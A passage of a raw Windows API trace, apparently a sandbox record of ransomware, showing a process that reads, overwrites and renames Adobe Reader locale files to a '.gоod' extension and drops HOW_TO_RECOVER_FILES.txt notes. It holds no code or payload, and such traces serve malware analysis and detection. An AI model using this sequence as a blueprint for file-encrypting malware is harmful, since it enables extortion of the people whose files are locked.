ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.035] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0141.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0141.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0141.035] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x68 [0141.035] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.035] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0141.036] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0141.036] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0141.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0141.036] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0141.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a69f18 | out: lpFileInformation=0x3a69f18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe22)) returned 1 [0141.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0141.036] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0141.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.037] GetFileType (hFile=0x6e4) returned 0x1 [0141.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0141.037] GetFileType (hFile=0x6e4) returned 0x1 [0141.037] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe22 [0141.037] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a6b0a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3a6b0a8*, lpNumberOfBytesRead=0x1ffeba08*=0xe22, lpOverlapped=0x0) returned 1 [0141.038] CloseHandle (hObject=0x6e4) returned 1 [0141.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0141.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.065] GetFileType (hFile=0x6e4) returned 0x1 [0141.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0141.065] GetFileType (hFile=0x6e4) returned 0x1 [0141.065] WriteFile (in: hFile=0x6e4, lpBuffer=0x3ae8058*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3ae8058*, lpNumberOfBytesWritten=0x1ffeb918*=0xe30, lpOverlapped=0x0) returned 1 [0141.066] CloseHandle (hObject=0x6e4) returned 1 [0141.066] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.066] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0141.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0141.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x504b07a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe30)) returned 1 [0141.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0141.067] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0141.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0141.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0141.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0141.068] GetFileType (hFile=0x6e4) returned 0x1 [0141.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0141.068] GetFileType (hFile=0x6e4) returned 0x1 [0141.068] WriteFile (in: hFile=0x6e4, lpBuffer=0x3aeb8c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3aeb8c8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0141.069] CloseHandle (hObject=0x6e4) returned 1 [0141.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0141.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x68 [0141.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.070] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.070] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xedf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0141.070] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.070] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0141.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0141.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0141.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x68 [0141.347] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0141.800] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.802] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.802] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xedf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0141.802] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xedf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0141.802] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0141.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0141.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0141.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a2efd0 | out: lpFileInformation=0x3a2efd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xedf)) returned 1 [0141.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0141.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0141.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0141.803] GetFileType (hFile=0x650) returned 0x1 [0141.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0141.803] GetFileType (hFile=0x650) returned 0x1 [0141.803] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xedf [0141.803] ReadFile (in: hFile=0x650, lpBuffer=0x3a30218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3a30218*, lpNumberOfBytesRead=0x1ffeba08*=0xedf, lpOverlapped=0x0) returned 1 [0142.035] CloseHandle (hObject=0x650) returned 1 [0142.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0142.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0142.063] GetFileType (hFile=0x650) returned 0x1 [0142.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0142.063] GetFileType (hFile=0x650) returned 0x1 [0142.063] WriteFile (in: hFile=0x650, lpBuffer=0x3a07de0*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3a07de0*, lpNumberOfBytesWritten=0x1ffeb918*=0xee0, lpOverlapped=0x0) returned 1 [0142.064] CloseHandle (hObject=0x650) returned 1 [0142.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0142.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0142.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x50e39e53, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1 [0142.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0142.065] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0142.065] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0142.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 